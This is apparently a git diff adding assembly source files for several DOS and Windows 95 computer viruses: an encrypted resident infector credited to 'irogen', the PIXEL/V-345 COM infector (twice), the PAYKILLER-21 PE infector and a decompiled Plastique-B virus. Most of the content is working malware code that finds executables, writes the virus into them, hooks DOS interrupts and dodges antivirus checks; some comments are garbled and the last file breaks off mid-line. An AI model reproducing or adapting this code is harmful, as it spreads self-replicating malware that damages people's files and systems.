rel2_off,offset heap ;first gen has mispl. off +ENDIF + +; Copy virus code along with decryptor to heap + + mov cx, (offset heap-offset start)/2+1 + xor si,si + lea di,vend ; ..to heap for encryption + rep movsw ; make another copy of virus + +IF SECOND_CRYPT +; Call second encryptor first + + mov si,offset vend ; offset of enc. start.. + add si,offset heap ; ..at end of code + mov ret2_byte,0C3h + xor bp,bp + push ax bx + call dbl_crypt + pop bx ax + mov ret2_byte,90h +ENDIF + +; Set ptr to heap for encryption + + pop si ; pop offset after jmp + add si,offset vend ; offset we'z bez encrypting + mov di,si ; we might be using DI too + +; Encrypt the mother fucker + + mov ret_byte,0C3h ; put RET + mov byte ptr [bx+2],al ; set encryption type + call encryptor ; encrypt the bitch + + pop bx ; restore phile handle + ret ; return + +; +; Fill buffer with random garbage from table +; DI=off BP=size +; ret: BL=last garbage byte +; +; Decently random..relies on previously encrypted data and MS from clock +; to form pointer to the next operand to use.. +; +; +fill_buffer: + add bl,dl ; previous NOP+previous NOP off + call get_random +IF SECOND_CRYPT + mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor + mov byte ptr sec_enc+1,dh +ENDIF + cmp dh,5 ; use random NOPs or constant NOP? + jg use_rand + xor dx,dx + jmp constant +use_rand: + add dl,byte ptr vend+200h[di] ; encrypted byte somewhere.. + sub dl,bl + and dl,00001111b ; extract lower nibble + xor dh,dh +constant: mov si,dx ; build index ptr + mov bl,byte ptr [nops+si] ; get NOP from table + mov byte ptr [di],bl + inc di ; increment buffer ptr + dec bp + jnz fill_buffer ; loop + ret +; +; get time man - and use it as semi-random word +; +get_random: + mov ah,2ch ; get clock + int 21h + ret + +; +; Associated bullshit +; +credits db ' PIWrMv1.00 - Coded by irogen in April 1994' +chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum +chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum +pin_dir db 255,'PIWrM.g!',0 ; DIR created +root db '..',0 ; for changing to org. dir +file1 db 'Ihopey',0 ; filez created in dir.. + db 'ouhave',0 ; must be 8 chars each+null + db 'enjoyed',0 ; (255 not space) + db 'yourinf',0 + db 'estation',0 + db 'bythe',0 + db 'mighty P',0 + db 'inworm p',0 + db 'arasite',0 + db '',0 + db 'Fuckyou',0 + db 'all!',0 + db '-irogen',0 ; #13 +new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) +inc_ptr dw 0 ; ptr to location of INC +enc_op_ptr dw 0 ; actual ENC op ptr +ptr_op_ptr dw 0 ; ptr to ptr set pos +count_op_ptr dw 0 ; ptr to counter reg pos +dec_op_ptr dw 1 ; ptr to decrement counter op pos +activate db 0 +isav db 0 + +seg_op db 2Eh ; CS +w_b db 80h ; byte=80h word=81h +enc_type db 2Ch ; SUB BYTE PTR CS:[SI],XXXX ;XOR/34 +enc_num db 0 + +ptr_set db 0BEh ; MOV SI,XXXX +rel_off dw real_start+100h + +count_op db 0B8h ; CX:B9 AX:b8 +crypt_bytes dw offset vend-offset dj_buf + +dec_op: dec ax ; DEC AX|BX|CX|DX +jnz_op: db 75h,org_loop + +nops: nop ; 1 byte garbage OPs.. must be 16 +IF INCLUDE_INT3 + int 3 +ELSE + cld +ENDIF + into + inc bp + dec bp + cld + nop + stc + cmc + clc + stc + into + cli + sti + inc bp +IF INCLUDE_INT3 + int 3 +ELSE + nop +ENDIF + + +; +; activation routine +; +act_routine: + push ax bx cx ds dx bp es cs + pop ds + mov activate,0 ;we're in work now.. + lea dx,pin_dir ;create our subdirectory + mov ah,39h + int 21h + mov ah,3bh ;change to our new subdirectory + int 21h + + lea dx,file1 ;offset of first filename + mov bp,msg_filez ;# of filez total +make_msg: + xor cx,cx ;null attribs + mov ah,3ch + int 21h ;create phile + jc dont_close + xchg ax,bx + mov ah,3eh ;close phile + int 21h +dont_close: add dx,9 ;point to next phile + dec bp + jnz make_msg + + lea dx,root ; change back to orginal dir + mov ah,3bh + int 21h + + cmp r_delay,5 ;5 calls? + jl r_no ;if not then skip keyboard ror + mov r_delay,-1 + xor ax,ax ;es=null + mov es,ax + ror word ptr es: [416h],1 ;rotate keyboard flags +r_no: + inc r_delay ;increment calls count + mov activate,1 + pop es bp dx ds cx bx ax + jmp no_act + +; +; Interrupt 24h - critical error handler +; +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + +; +; In-memory encryption function +; **virus encrypted in memory up to this point** +; +mem_crypt: + mov cx,offset mem_crypt-offset code_start + xor di,di ;offset 0 +mem_loop: + db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], +mem_word dw 0 ;XXXX + inc di + loop mem_loop + ret + +; +; Interrupt 21h +; returns SI=0 and passes control to normal handler if +; VSAFE uninstall command is recieved. +; +new21: + pushf + + cmp cs: activate,1 ; time to activate? + jnz no_act + cmp ah,0Bh + jl act_routine +no_act: + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + xor si,si ; tis us + mov di,4559h ; simulate VSAFE return +not_us: + cmp ah,4bh ; execute phile? + jnz jmp_org + +go_now: push ax bp bx cx di dx ds es si + call mem_crypt ; decrypt in memory + call infect_file ; the mother of all calls + call mem_crypt ; encrypt in memory + pop si es ds dx di cx bx bp ax + + jmp_org: + popf + db 0eah ; jump far + old21 dd 0 ; O:S + + +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +; Start of heap (not written to disk) +heap: +db 14h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +r_delay db 0 +size_disp db 0 ; additional size of virus +IF XTRA_SPACE +db 0DDh dup(0) ; xtra space for random write + ; otherwise decryptor will be + ; written twice - could make it + ; vulnerable +ENDIF +vend: ; end of virus in memory.. +cseg ends + end start diff --git a/p/PIXEL.ASM b/p/PIXEL.ASM new file mode 100755 index 0000000..98384c2 --- /dev/null +++ b/p/PIXEL.ASM @@ -0,0 +1,134 @@ + +;title V-345 - a mutation of the V-845 virus + + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen = offset endcode - offset start +newid = offset ident - offset start + +start: + jmp short virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +progbeg dd ? +eof dw ? +newdta db 2C dup (?) +fname equ offset newdta+1E + +virus: + push ax + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,offset newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov bx,ax ; Save handle + push es + pop ds + mov dx,virlen + mov cx,0FFFF ;Read all bytes (64K max in .COM file) + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,virlen + mov cs:[eof],ax ;Save pointer to the end of file + cmp ds:[newid+virlen],'VI' ;Infected? + je close ;Go find next file if so + + xor cx,cx ;Go to file beginning + mov dx,cx + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + xor dx,dx ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov ah,40 ;Write to handle + int 21 + +close: + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr [timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,offset endcode - offset transf ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + pop bx ; BX = old AX + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,offset endcode + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + mov ax,bx + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + +code ends + end start + \ No newline at end of file diff --git a/p/PIXEL345.ASM b/p/PIXEL345.ASM new file mode 100755 index 0000000..a7067cd --- /dev/null +++ b/p/PIXEL345.ASM @@ -0,0 +1,134 @@ + page ,132 + name V345 + title V-345 - a mutation of the V-845 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +timer equ 6C +olddta equ 80 +virlen = offset endcode - offset start +newid = offset ident - offset start + +start: + jmp short virus + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +progbeg dd ? +eof dw ? +newdta db 2C dup (?) +fname equ offset newdta+1E + +virus: + push ax + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,offset newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov bx,ax ; Save handle + push es + pop ds + mov dx,virlen + mov cx,0FFFF ;Read all bytes (64K max in .COM file) + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,virlen + mov cs:[eof],ax ;Save pointer to the end of file + cmp ds:[newid+virlen],'VI' ;Infected? + je close ;Go find next file if so + + xor cx,cx ;Go to file beginning + mov dx,cx + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + xor dx,dx ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov ah,40 ;Write to handle + int 21 + +close: + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + cmp [counter],5 ;If counter goes above 5, + jb progok ; the program becomes "sick" + mov ax,40 + mov ds,ax ;Get the system timer value + mov ax,word ptr [timer] + push cs + pop ds ;Restore DS + and ax,1 ;At random (if timer value is odd) + jz progok ; display the funny message + mov dx,offset message + mov ah,9 ;Print string + int 21 + int 20 ;Terminate program + +message db 'Program sick error:Call doctor or ' + db 'buy PIXEL for cure description',0A,0Dh,'$' + +progok: + mov si,offset transf ;Move this part of code + mov cx,offset endcode - offset transf ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + pop bx ; BX = old AX + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,offset endcode + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + mov ax,bx + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + +code ends + end start + \ No newline at end of file diff --git a/p/PKILL_21.ASM b/p/PKILL_21.ASM new file mode 100755 index 0000000..bd3bcd7 --- /dev/null +++ b/p/PKILL_21.ASM @@ -0,0 +1,265 @@ +; +; Mad Rocker +; presents +; ****************************************** +; * P A Y K I L L E R - 2 1- " EVIL " * +; ****************************************** +; +; "DOS p ! WINDOWS 95 - 32- pp p +;. WIN 32 API, !" - p p +;p " p" WINDOWS 95. +; pp ( p, Microsoft) +;p, DOS BIOS, p p +;p WIN 32 pp p .p, protection. +; p p." p p - +;p p"- p p. +; , p p p- +; WINDOWS KERNEL.p p +;WINDOWS 95 , p, " +; API".p,p p +;p (pp,Jacky Mad).p p +; API p p (p p WIN95-p Boza), +; p "p" +;( p p Harry), ,-p p +;p. p p +;-p p p DOS. p PAYKILLER-21. +;,p DOS p INT 21h WIN 32 p , +; p p , p +; DOS. .p "p ppp +;WINDOWS 95" p VXDCALL, p +; DOS DPMI. p , +; ... p p : p, +;p Portable Executable- ; p p +; pp ; ; +;p p p.p TASM 5.0 (p +;p): tasm32 /ml pkill_21, tlink32 /Tpe /aa pkill_21,pkill_21,, +;import32.lib +; +; 10 p 1998 +; Mad Rocker +; + .386 + locals + jumps + .model flat,stdcall +L equ +extrn MessageBoxA:proc ;pp import32.lib +extrn ExitProcess:proc + .data ; (p p) +vir_name db 'PAYKILLER-21',0 +vir_text db 'Animal launching : press OK when ready... ',0 +; +main_body: + pushad ;p pp . + push ds ; pp + push es + push fs + push gs + call start ;p EIP +start: + pop ebp + sub ebp,offset start ; DOS-p + mov eax,[RVA_sub+ebp] ;EAX=p RVA_Entrypoint + mov [ret_addr+ebp],eax ; + xor eax,eax + mov esi,0bff70000h+3ch ; PE- + lodsw ;p AX + add eax,0bff70000h ;p p + xchg esi,eax + lodsd ; p + cmp eax,00004550h ;p 'P','E',0,0 ? + jne quit ;...KERNEL32.DLL + mov eax,[esi+74h] ;ESI+74h EXPORT TABLE RVA + add eax,0bff70000h+1ch + xchg esi,eax ;ESI ADDRESS TABLE RVA + lodsd + add eax,0bff70000h + xchg esi,eax + lodsd ; p VXDCALL + add eax,0bff70000h + mov [VxD_addr+ebp],eax + mov eax,00002f00h ; p DTA + call DOS_kernel + mov [DTA_offset+ebp],ebx ; p + mov [DTA_select+ebp],es + mov eax,00001a00h ; DTA + lea edx,[my_DTA+ebp] + call DOS_kernel + mov eax,00004e00h ; DOS' FINDFIRST + mov ecx,0000003fh + lea edx,[victim+ebp] + call DOS_kernel + jnc open_file ; - , +find_next: + mov eax,00004f00h ; + call DOS_kernel + jc unhappy +open_file: + mov eax,00003d02h ;p - + lea edx,[my_DTA+1eh+ebp] ;p + call DOS_kernel + jc find_next + xchg ebx,eax ;p pp EBX + mov eax,00003f00h ; p 60h + mov ecx,00000060h + lea edx,[EXE_header+ebp] + call DOS_kernel + mov eax,00004200h ; PE- + xor ecx,ecx ;( ,) + xor edx,edx + mov dx, word ptr [EXE_header+3ch+ebp] + mov [PE_pointer+ebp],dx + call DOS_kernel + mov eax,00003f00h ;p 60h PE- + mov ecx,00000060h + lea edx,[EXE_header+ebp] + call DOS_kernel + cmp dword ptr [EXE_header+ebp],00004550h + jne file_error ; Portable Executable ... + cmp dword ptr [EXE_header+10h+ebp],'LIVE' + je file_error ; ""- p ! + mov ax,word ptr [EXE_header+6+ebp] ;AX= + dec ax + mov cx,40 + mul cx + add ax,18h + add ax,word ptr [EXE_header+14h+ebp] ;+NT_Header_size + add ax,[PE_pointer+ebp] + mov [obj_point+ebp],ax ; + xor ecx,ecx + xor edx,edx + mov dx,ax + mov eax,00004200h + call DOS_kernel + mov eax,00003f00h ;p + mov ecx,40 + lea edx,[WIN_object+ebp] + call DOS_kernel + mov eax,dword ptr [EXE_header+28h+ebp] ;EAX=RVA_Entrypoint + add eax,dword ptr [EXE_header+34h+ebp] ;+Image_base + mov dword ptr [RVA_sub+ebp],eax ;p + xor edx,edx + mov eax,dword ptr [WIN_object+0ch+ebp] ;EAX=RVA + add eax,dword ptr [WIN_object+8+ebp] ;+ virtual size + mov dword ptr [EXE_header+28h+ebp],eax ; RVA_Entrypoint + xor edx,edx + mov eax,vir_size ;EAX=pp p + mov ecx,dword ptr [EXE_header+3ch+ebp] ;ECX=file alignment factor + div ecx + inc eax + mul ecx + add eax,dword ptr [WIN_object+8+ebp] ;+ virtual size + mov dword ptr [WIN_object+10h+ebp],eax ; Object_physical_size + xor edx,edx + mov eax,vir_size ;EAX=pp p + mov ecx,dword ptr [EXE_header+38h+ebp] ;ECX=object align factor + div ecx + inc eax + mul ecx + add eax,dword ptr [WIN_object+8+ebp] ;+ virtual size + mov dword ptr [WIN_object+8+ebp],eax ; Object_virtual_size + mov dword ptr [WIN_object+24h+ebp],0e0000040h + mov eax,dword ptr [WIN_object+8+ebp] + add eax,dword ptr [WIN_object+0ch+ebp] + mov dword ptr [EXE_header+50h+ebp],eax ; Image_size + mov dword ptr [EXE_header+10h+ebp],'LIVE' + mov eax,00004202h ; + xor ecx,ecx + xor edx,edx + call DOS_kernel + mov eax,00005700h ; p + call DOS_kernel + push ecx + push edx + mov eax,00004000h ; p + mov ecx,vir_size + lea edx,[main_body+ebp] + call DOS_kernel + mov eax,00004200h ; + xor ecx,ecx + xor edx,edx + mov dx,word ptr [obj_point+ebp] + call DOS_kernel + mov eax,00004000h ; p + mov ecx,40 + lea edx,[WIN_object+ebp] + call DOS_kernel + mov eax,00004200h ; PE- + xor ecx,ecx + xor edx,edx + mov dx,word ptr [PE_pointer+ebp] + call DOS_kernel + mov eax,00004000h ; p PE- + mov ecx,60h + lea edx,[EXE_header+ebp] + call DOS_kernel + pop edx + pop ecx + mov eax,00005701h ; p + call DOS_kernel + mov eax,00003e00h ; p + call DOS_kernel +unhappy: + mov si,ds + lea edi,[VxD_out+ebp] + mov edx,[DTA_offset+ebp] + mov ax, [DTA_select+ebp] + mov ds,ax + mov eax,00001a00h ; DTA ( - ) + call direct + mov ds,si +quit: + cmp dword ptr [inst+ebp],'LIVE' + pop gs + pop fs + pop es + pop ds + popad + jne exit_program + jmp go_home ; p +exit_program: + db 68h ; p p +ret_addr dd 0 + ret ;p p pp- +; +file_error: + mov eax,00003e00h + call DOS_kernel + jmp find_next +; +DOS_kernel: ; INT 21h DOS-pp + lea edi,[VxD_out+ebp] +direct: + push ecx + push eax + push 002a0010h ;p VWIN32 10h + push edi + db 68h ;p PUSH +VxD_addr dd 0 ;p VXDCALL + ret ; VWIN32 INT_21H_Dispatcher +VxD_out: + ret ; VWIN32 p p +; +DTA_offset dd 0 +DTA_select dw 0 +my_DTA db 43 dup (0) ; Disk Transfer Area +victim db '*.exe',0 ; +EXE_header db 60h dup (0) +WIN_object db 40 dup (0) +PE_pointer dw 0 +obj_point dw 0 +RVA_sub dd 0 +vir_size equ $-main_body ; p +inst db 'EVIL' ;p p + .code ; ( ) +begin: + push L 0 + push offset vir_name ; MessageBox' + push offset vir_text ; + push L 0 + call MessageBoxA ; pp MessageBox + jmp main_body +go_home: + push L 0 + call ExitProcess ; pp (p) + end begin diff --git a/p/PLASTIQ.ASM b/p/PLASTIQ.ASM new file mode 100755 index 0000000..555dded --- /dev/null +++ b/p/PLASTIQ.ASM @@ -0,0 +1,1187 @@ +PAGE 59,132 + +;========================================================================== +; Plastique-B virus Decrypted source code +; Brought to you by Minuite man +; +; DANGER! Not for public distribution +; This source code can be compiled to +; Active virus.Always handle viruses +; Carefully. +;========================================================================== + +data_1e equ 3FCh ; (0000:03FC=0F000h) +data_2e equ 3FEh ; (0000:03FE=16h) +data_3e equ 3 ; (3E00:0003=0FFFFh) +data_4e equ 5 ; (3E00:0005=0FFh) +data_5e equ 18h ; (3E00:0018=0FFFFh) +data_6e equ 1Ah ; (3E00:001A=0FFFFh) +data_7e equ 1Ch ; (3E00:001C=0FFFFh) +data_8e equ 1Eh ; (3E00:001E=0FFFFh) +data_9e equ 20h ; (3E00:0020=0FFFFh) +data_10e equ 22h ; (3E00:0022=0FFFFh) +data_11e equ 48h ; (3E00:0048=0FFFFh) +data_12e equ 4Ah ; (3E00:004A=0FFFFh) +data_13e equ 4Eh ; (3E00:004E=0FFFFh) +data_14e equ 54h ; (3E00:0054=0FFFFh) +data_15e equ 56h ; (3E00:0056=0FFFFh) +data_16e equ 58h ; (3E00:0058=0FFFFh) +data_17e equ 5Ah ; (3E00:005A=0FFFFh) +data_18e equ 5Ch ; (3E00:005C=0FFFFh) +data_19e equ 6Ah ; (3E00:006A=0FFh) +data_20e equ 86h ; (3E00:0086=0FFFFh) +data_21e equ 88h ; (3E00:0088=0FFFFh) +data_22e equ 2A6h ; (3E00:02A6=0FFh) +data_23e equ 3 ; (6C23:0003=0) +data_24e equ 5 ; (6C23:0005=0) +data_25e equ 6 ; (6C23:0006=0) +data_27e equ 0Ah ; (6C23:000A=0) +data_29e equ 14h ; (6C23:0014=0) +data_30e equ 16h ; (6C23:0016=0) +data_31e equ 24h ; (6C23:0024=0) +data_32e equ 26h ; (6C23:0026=0) +data_33e equ 28h ; (6C23:0028=0) +data_34e equ 2Ah ; (6C23:002A=0) +data_35e equ 2Ch ; (6C23:002C=0) +data_36e equ 2Eh ; (6C23:002E=0) +data_37e equ 30h ; (6C23:0030=0) +data_38e equ 32h ; (6C23:0032=0) +data_39e equ 34h ; (6C23:0034=0) +data_41e equ 38h ; (6C23:0038=0) +data_42e equ 3Ch ; (6C23:003C=0) +data_43e equ 3Eh ; (6C23:003E=0) +data_44e equ 42h ; (6C23:0042=0) +data_45e equ 44h ; (6C23:0044=0) +data_46e equ 45h ; (6C23:0045=0) +data_47e equ 62h ; (6C23:0062=0) +data_48e equ 64h ; (6C23:0064=0) +data_49e equ 66h ; (6C23:0066=0) +data_50e equ 68h ; (6C23:0068=0) +data_51e equ 69h ; (6C23:0069=0) +data_52e equ 6Ah ; (6C23:006A=0) +data_68e equ 160Ah ; (6C23:160A=0) +data_69e equ 690Ah ; (6C23:690A=0) +data_70e equ 0FA0Ah ; (6C23:FA0A=0) + +seg_a segment + assume cs:seg_a, ds:seg_a + + + org 100h + +test proc far + +start: + jmp loc_61 ; (09D3) + db 0CCh, 1, 0C7h, 24h, 1, 9 + db 0Dh, 92h, 25h, 70h, 0, 0 + db 0, 0, 0, 89h, 19h, 0 + db 1, 53h, 13h, 0, 0, 7Eh + db 82h, 0, 0, 7Eh, 82h + db 50h +data_53 db 2 +data_54 dw 0 +data_55 dw 4269h ; Data table (indexed access) + db 1Fh, 8Bh, 5, 0, 20h, 0 + db 21h, 0, 80h, 0, 0E6h, 77h + db 18h, 0, 0AAh, 0, 9, 0Dh + db 60h, 14h, 1Eh, 2, 56h, 5 + db 6, 6Fh, 73h, 12h, 0, 0F0h + db 16h, 0, 4Dh, 5Ah, 14h, 0 + db 8, 0, 0, 0, 20h, 0 + db 0, 0, 0FFh, 0FFh, 5, 0 + db 0C4h, 0Bh, 89h, 19h, 0, 9 + db 5, 0, 1Eh, 0, 90h, 90h + db 1, 0, 70h, 45h, 75h, 42h + db 0, 0, 0 + db 'ACAD.EXECOMMAND.COM.COM.EXE' + db 10h, 0, 0, 2, 0, 0 + db 80h, 0, 0B4h, 0D5h, 5Ch, 0 + db 0B4h, 0D5h, 6Ch, 0, 0B4h, 0D5h + db 'Program: Plastique' +loc_2: + and [si],dh + db '.51 (plastic bomb), ' +copyright db 'Copyright (C) 1988, 1989 by ABT ' + db 'Group.Thanks to: M' + db 'r. Lin (IECS 762??), Mr. Cheng (' + db 'FCU Inf-Center)' + db 1, 0, 0 +data_58 db 0E3h ; Data table (indexed access) + db 8, 0, 0, 0EBh, 7, 91h + db 0Ah, 91h, 0Ah, 0BEh, 11h, 0 + db 0, 0D0h, 0Fh, 21h, 15h, 21h + db 15h, 0DCh, 0Bh, 0, 0, 91h + db 0Ah, 16h, 0Eh, 16h, 0Eh, 0B7h + db 17h, 0, 0, 21h, 15h, 2Ch + db 1Ch, 2Ch, 1Ch, 91h, 0Ah, 16h + db 0Eh, 33h, 0Bh, 33h, 0Bh, 91h + db 0Ah, 0FAh, 9, 0FAh, 9, 91h + db 0Ah, 33h, 0Bh, 33h, 0Bh, 91h + db 0Ah, 16h, 0Eh, 16h, 0Eh, 0 + db 0, 16h, 0Eh, 0D0h, 0Fh, 0BEh + db 11h, 0, 0, 0E3h, 8, 0 + db 0, 0EBh, 7, 91h, 0Ah, 91h + db 0Ah, 0BEh, 11h, 0, 0, 0D0h + db 0Fh, 21h, 15h, 21h, 15h, 0DCh + db 0Bh, 0, 0, 91h, 0Ah, 16h + db 0Eh, 16h, 0Eh, 0B7h, 17h, 0 + db 0, 21h, 15h, 2Ch, 1Ch, 2Ch + db 1Ch, 91h, 0Ah, 16h, 0Eh, 33h + db 0Bh, 33h, 0Bh, 91h, 0Ah, 0FAh + db 9 +data_59 dw 9FAh +data_60 db 91h +data_61 db 0Ah +data_62 dw 0B33h +data_63 db 33h + +test endp + +;========================================================================== +; +; External Entry Point +; +;========================================================================== + +int_24h_entry proc far + or dx,ds:data_68e[bx+di] ; (6C23:160A=0) + push cs + push ss + push cs + add [bx+si],al + push ss + push cs + ror byte ptr [bx],1 ; Rotate + mov si,11h + add ds:data_69e[bx+di],dl ; (6C23:690A=0) + or bx,sp + or bl,ch + pop es + jmp short $+9 + db 91h, 0Ah, 0, 0, 0FAh, 9 + db 0FAh, 9, 64h, 8, 64h, 8 +int_24h_entry endp + + +;========================================================================== +; +; External Entry Point +; +;========================================================================== + +int_08h_entry proc far + push cs + pop es + add [bx+si],al + xchg ax,cx + or dl,ds:data_70e[bx+di] ; (6C23:FA0A=0) + or dx,di + or [bp+si+0Dh],dx + add [bx+si],al + xor cx,[bp+di] + add [bx+si],al + push ss + push cs + add [bx+si],al +;* jmp short loc_4 ;*(02F3) + db 0EBh, 7 + db 0EBh, 7, 91h, 0Ah, 0, 0 + db 33h +loc_4: + or si,[bp+di] + or bp,[bx+di+9] + db 69h, 9, 0EBh, 7, 0EBh, 7 + db 0, 0, 0E3h, 8, 0, 0 + db 0EBh, 7, 91h, 0Ah, 91h, 0Ah + db 0BEh, 11h, 0, 0, 0D0h, 0Fh + db 21h, 15h, 21h, 15h, 0DCh, 0Bh + db 0, 0, 0F2h, 0Eh, 0D0h, 0Fh + db 0, 0, 0BEh, 11h, 21h, 15h + db 0, 0, 3, 2, 3, 3 + db 0Dh, 3, 2, 3, 3, 0Dh + db 3, 2, 3, 3, 0Dh, 3 + db 2, 3, 3, 0Dh, 7, 3 + db 3, 7, 3, 3, 7, 3 + db 3, 7, 3, 14h, 2, 1 + db 1, 1, 3, 8, 3, 2 + db 3, 3, 0Dh, 3, 2, 3 + db 3, 0Dh, 3, 2, 3, 3 + db 0Dh, 3, 2, 3, 3 +int_08h_entry endp + + +;========================================================================== +; +; External Entry Point +; +;========================================================================== + +int_09h_entry proc far + or ax,307h + add ax,[bx] + add ax,[bp+di] + pop es + add ax,[bp+di] + pop es + add dx,[si] + add al,[bx+di] + add [bx+di],ax + add ax,[bp+di] + add [bx+di],ax + add [di],cx + pop es + push es + add [di],cx + or ax,70Dh + push es + add [di],cx + or ax,70Dh + push es + add [si],cx + add cl,[si] + add cl,[di] + pop es + push es + add [di],cx + or ax,0D0Dh + or ax,0D0Dh + add ax,[bp+di] + add ax,[bp+di] + or ax,303h + add ax,[bp+di] + or ax,106h + add ax,[bp+di] + add ax,[bp+di] + add ax,[bx+di] + db 7 dup (0) + db 32h, 0C0h, 0CFh, 9Ch, 50h, 2Eh + db 0A1h, 64h, 0, 2Eh, 39h, 6 + db 3, 0, 58h, 77h, 5, 2Eh + db 0FFh, 6, 3, 0, 51h, 2Eh + db 8Bh, 0Eh, 3, 0 + +locloop_5: + nop + loop locloop_5 ; Loop if cx > 0 + + int 3 ; Debug breakpoint + pop cx + popf ; Pop flags + jmp dword ptr cs:data_39e ; (6C23:0034=0) + db 9Ch, 0CCh, 2Eh, 0FFh, 6, 3 + db 0, 2Eh, 81h, 3Eh, 3, 0 + db 88h, 13h, 77h, 6, 9Dh, 2Eh + db 0FFh, 2Eh, 34h, 0, 1Eh, 50h + db 53h, 0Eh, 1Fh, 8Bh, 1Eh, 22h + db 1, 0FEh, 0Eh, 21h, 1, 75h + db 5Dh, 8Bh, 1Eh, 22h, 1, 0FFh + db 6, 22h, 1, 81h, 0FBh, 80h + db 0, 75h, 3, 0EBh, 36h, 90h +loc_6: + mov al,data_58[bx] ; (6C23:0224=0E3h) + mov data_53,al ; (6C23:0121=2) + shl bx,1 ; Shift w/zeros fill + mov ax,data_55[bx] ; (6C23:0124=4269h) + cmp ax,0 + je loc_7 ; Jump if equal + jmp short loc_8 ; (0426) + db 90h +loc_7: + in al,61h ; port 61h, 8255 port B, read + and al,0FEh + out 61h,al ; port 61h, 8255 B - spkr, etc + jmp short loc_10 ; (0454) + db 90h +loc_8: + mov bx,ax + mov al,0B6h + out 43h,al ; port 43h, 8253 wrt timr mode + mov ax,bx + out 42h,al ; port 42h, 8253 timer 2 spkr + mov al,ah + out 42h,al ; port 42h, 8253 timer 2 spkr + in al,61h ; port 61h, 8255 port B, read + or al,3 + out 61h,al ; port 61h, 8255 B - spkr, etc + jmp short loc_10 ; (0454) + db 90h +loc_9: + in al,61h ; port 61h, 8255 port B, read + and al,0FEh + out 61h,al ; port 61h, 8255 B - spkr, etc + mov data_54,0 ; (6C23:0122=0) + mov data_53,1 ; (6C23:0121=2) + mov word ptr ds:data_23e,1 ; (6C23:0003=0) +loc_10: + pop bx + pop ax + pop ds + popf ; Pop flags + jmp dword ptr cs:data_39e ; (6C23:0034=0) + db 0FAh, 50h, 1Eh, 33h, 0C0h, 8Eh + db 0D8h, 0A0h, 17h, 4, 1Fh, 24h + db 0Ch, 3Ch, 0Ch, 75h, 2Eh, 0E4h + db '`$' + db 7Fh, ' 0 + +loc_17: + nop + jmp short loc_17 ; (052A) + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_1 proc near + mov data_61,dl ; (6C23:02A7=0Ah) + mov ax,201h + mov cx,1 + mov dh,0 + mov bx,511h + int 13h ; Disk dl=drive #: ah=func a2h + ; read sectors to memory es:bx + jc 